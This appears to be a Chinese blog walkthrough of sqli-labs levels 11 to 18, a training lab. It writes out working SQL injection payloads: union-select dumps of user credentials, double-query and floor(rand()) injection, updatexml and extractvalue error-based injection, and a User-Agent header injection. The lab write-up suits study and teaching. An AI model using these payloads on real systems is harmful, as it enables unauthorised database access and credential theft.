sqli-labs第11关到18关

Less-11 (基于错误的POST型单引号字符型注入)

打开这个页面,是这样的
sqli-labs第11关到18关_第1张图片在username和password都输入admin,登陆成功,而且上面的post data也已经自动载入输入的表单数据。
sqli-labs第11关到18关_第2张图片当然这一步还可以用burp suite进行抓包,send to repeater
sqli-labs第11关到18关_第3张图片通过修改post的值就可以进行注入

输入uname=admin' and 1=1%23 &passwd=admin&submit=Submit//成功显示
输入uname=admin' and 1=2%23 &passwd=admin&submit=Submit//不能成功显示

sqli-labs第11关到18关_第4张图片
sqli-labs第11关到18关_第5张图片说明注入成功,存在报错型注入
2,然后获取它的字段数
输入uname=admin' order by 3%23 &passwd=admin&submit=Submit
sqli-labs第11关到18关_第6张图片输入uname=admin' order by 2%23 &passwd=admin&submit=Submit
sqli-labs第11关到18关_第7张图片所以字段数为2
3.用union联合查询获取数据库名
输入uname=0' union select 1,database()%23 &passwd=admin&submit=Submit
sqli-labs第11关到18关_第8张图片得到数据库名为security
4.获取表名
输入uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'%23 &passwd=admin&submit=Submit
sqli-labs第11关到18关_第9张图片获取表名为emails,referers,uagents,users
5,获取列名
输入
uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23 &passwd=admin&submit=Submit

sqli-labs第11关到18关_第10张图片图太长,没截完,一共26个列

6,获取username列和password列的数据
输入
uname=0' union select group_concat(username),group_concat(password) from users%23 &passwd=admin&submit=Submit
sqli-labs第11关到18关_第11张图片bingo

Less-12(基于错误的双引号POST型字符型变形的注入)

直接在下面对话框输入admin admin,成功显示
sqli-labs第11关到18关_第12张图片1,输入uname=admin")%23&passwd=admin&submit=Submit,成功显示
sqli-labs第11关到18关_第13张图片2,获取字段数
输入uname=admin") order by 2 %23&passwd=admin&submit=Submit
sqli-labs第11关到18关_第14张图片字段数为2
3,获取数据库名
输入uname=2") union select 1,database()%23&passwd=admin&submit=Submit
sqli-labs第11关到18关_第15张图片4,获取表名
输入
uname=2") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&passwd=admin&submit=Submit
sqli-labs第11关到18关_第16张图片5,获取表里的列
输入
uname=2") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23&passwd=admin&submit=Submit
sqli-labs第11关到18关_第17张图片
6,获取username,password列的数据
输入
uname=2") union select group_concat(username),group_concat(password) from users%23&passwd=admin&submit=Submit
sqli-labs第11关到18关_第18张图片完成,11,12关,基本都一样,就是前面的闭合方式不同

Less-13(POST单引号变形双注入)
进入页面
sqli-labs第11关到18关_第19张图片1,输入 admin admin
sqli-labs第11关到18关_第20张图片
2,可以用’)闭合
输入uname=admin') and 1=1%23&passwd=admin&submit=Submit,成功
sqli-labs第11关到18关_第21张图片输入uname=admin') and 1=2%23&passwd=admin&submit=Submit,失败
sqli-labs第11关到18关_第22张图片
3,获取字段数、
输入uname=admin') order by 2%23&passwd=admin&submit=Submit,成功,字段数为2
sqli-labs第11关到18关_第23张图片既然是双注入,我就想到了5,6关

4,获取数据库名
输入uname=0') union select count(*),concat((select database()),floor(rand()*2))a from information_schema.tables group by a# %23&passwd=admin&submit=Submit(这里%23没用,要用#注释)
sqli-labs第11关到18关_第24张图片5,获取表名
输入uname=1') union select count(*),concat('*',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'*',floor(rand( )*2)) as a from information_schema.tables group by a# &passwd=admin &submit=Submit
sqli-labs第11关到18关_第25张图片
这个语句有时候可以显示出来,有时显示不出来,应该是rand()语句的问题吧,不过根据这个还是可以把四个表名获取出来。

6,获取列(以emails表为例)
输入uname=1') union select count(*),concat('*',(select column_name from information_schema.columns where table_name='emails'limit 0,1),'*',floor(rand( )*2)) as a from information_schema.tables group by a# &passwd=admin &submit=Submit
sqli-labs第11关到18关_第26张图片逐个获取,可以看到列有id、email_id,enmmmm就这两个

7.获取列里的数据(以email_id为例)
输入uname=1') union select count(*),concat('*',(select email_id from emails limit 0,1),'*',floor(rand( )*2)) as a from information_schema.tables group by a# &passwd=admin &submit=Submit
sqli-labs第11关到18关_第27张图片逐个获取email_id里的数据,分别为[email protected][email protected][email protected][email protected][email protected][email protected][email protected]完成。

Less-14 (POST单引号变形双注入)

1,获取字段数
输入uname=admin" order by 3%23 &passwd=admin &submit=Submit
sqli-labs第11关到18关_第28张图片输入uname=admin" order by 2%23 &passwd=admin &submit=Submit

sqli-labs第11关到18关_第29张图片发现正确后没有回显,下面的大字显示成功了,字段数为2

2,获取数据库名
输入uname=admin" union select count(*),concat( '*',(select database( )),'*', floor(rand()*2)) a from information_schema.tables group by a%23 &passwd=admin &submit=Submit
sqli-labs第11关到18关_第30张图片感觉这些输入的都差不多,和前面第13关基本一样,为了有点区别,我接下来获取referers表里的内容吧

3,获取表名
输入uname=admin" union select count(*),concat( '*',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'*', floor(rand()*2)) a from information_schema.tables group by a%23 &passwd=admin &submit=Submit
sqli-labs第11关到18关_第31张图片4,获取表里的列(以referers表为例)
输入uname=admin" union select count(*),concat( '*',(select column_name from information_schema.columns where table_name='referers' limit 0,1),'*', floor(rand()*2)) a from information_schema.tables group by a%23 &passwd=admin &submit=Submit
sqli-labs第11关到18关_第32张图片依次获取表里的列,分别为id、referer、ip_address、

5,获取列里的数据(以ip_address为例)
输入uname=admin" union select count(*),concat( '*',(select ip_address from referers limit 0,1),'*', floor(rand()*2)) a from information_schema.tables group by a%23 &passwd=admin &submit=Submit
试了还久,没出现任何数据,应该是这列本身就没有数据吧。

Less-15(基于bool型/时间延迟单引号POST型盲注 )

Less-16(基于bool型/时间延迟单引号POST型盲注)

Less-17 (基于错误的更新查询POST注入)

在页面中打开,是这样的:
sqli-labs第11关到18关_第33张图片1,和以前一样,先获取字段数
输入uname=admin &passwd=admin' order by 1%23&submit=Submit发现字段数竟然连1都不是
sqli-labs第11关到18关_第34张图片
2,输入
uname=admin &passwd=1' and (updatexml (1,concat (0x5c,version(),0x5c),1))%23&submit=Submit
0x5c是\hu’ou’q(反斜杠)huouq

sqli-labs第11关到18关_第35张图片可以看到版本是 5.5.47

3、获取数据库名
输入uname=admin &passwd=1' and (updatexml (1,concat (0x5c,database(),0x5c),1))%23&submit=Submit

sqli-labs第11关到18关_第36张图片可以得到数据库名为security,我觉得获取数据库名的意义好像不是很大,因为下面可用用database()取代掉。

4,获取表名
输入uname=admin &passwd=1' and (updatexml (1,concat (0x5c,(select table_name from information_schema.tables where table_schema=database() limit 0,1) ,0x5c),1))%23&submit=Submit
sqli-labs第11关到18关_第37张图片依次获取四个表名即可

5,获取表里的列(以uagents为例)
输入
uname=admin &passwd=1' and (updatexml (1,concat (0x5c,(select column_name from information_schema.columns where table_name='uagents' limit 0,1) ,0x5c),1))%23&submit=Submit

sqli-labs第11关到18关_第38张图片依次获取其中的列,有 id、uagent、ip_address、username共四列

6,获取列里的数据,以username 为例
输入
uname=admin &passwd=1' and (updatexml (1,concat (0x5c,(select username from uagents limit 1,1) ,0x5c),1))%23&submit=Submit
输入了好久,发现没有任何数据,猜测这个表里没有数据吧
打开数据库看了看,果真如此。
sqli-labs第11关到18关_第39张图片
Less-18 (基于错误的用户代理,头部POST注入)
报错型,单引号,user-agent注入点
进入这个页面是这样的:sqli-labs第11关到18关_第40张图片

打开源码看看:
sqli-labs第11关到18关_第41张图片这次对username、password都做了check,所以就用burpsuite抓包,对user-agent进行修改,注入
sqli-labs第11关到18关_第42张图片又看到 insert语句,他把user-agent插入到了数据库,所以可以从这里下手,而且看的出来是单引号型,接下来开始爆破。

抓包修改user-agent为一下payload就可以了。

输入 admin,admin 之后
sqli-labs第11关到18关_第43张图片sqli-labs第11关到18关_第44张图片先来学习一个函数:
  extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称,
  第二个参数:XPath_string (Xpath格式的字符串)
  concat:返回结果为连接参数产生的字符串。
  
  payloaod:
  and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));

extractvalue注入的原理:依旧如同updatexml一样,extract的第二个参数要求是xpath格式字符串,而我们输入的并不是。所以报错。
  
在repeater中打开可以看见上图显示的正是user-agent后面的值
user-agent后面值的构造要根据源码中insert那个语句,符合INSERT INTIO的语法

1,获取数据库名
输入'and extractvalue (1,concat(0x7e,(select database()),0x7e)) and'
sqli-labs第11关到18关_第45张图片2.获取表名
输入
'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and'
sqli-labs第11关到18关_第46张图片3,获取列
输入'and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 6,1))) and'
依次获取表里面的列
sqli-labs第11关到18关_第47张图片4,获取列里的数据,以(username 为例)

sqli-labs第11关到18关_第48张图片

参考教程:
https://www.cnblogs.com/-zhong/p/10925426.html

你可能感兴趣的:(SQL注入测试)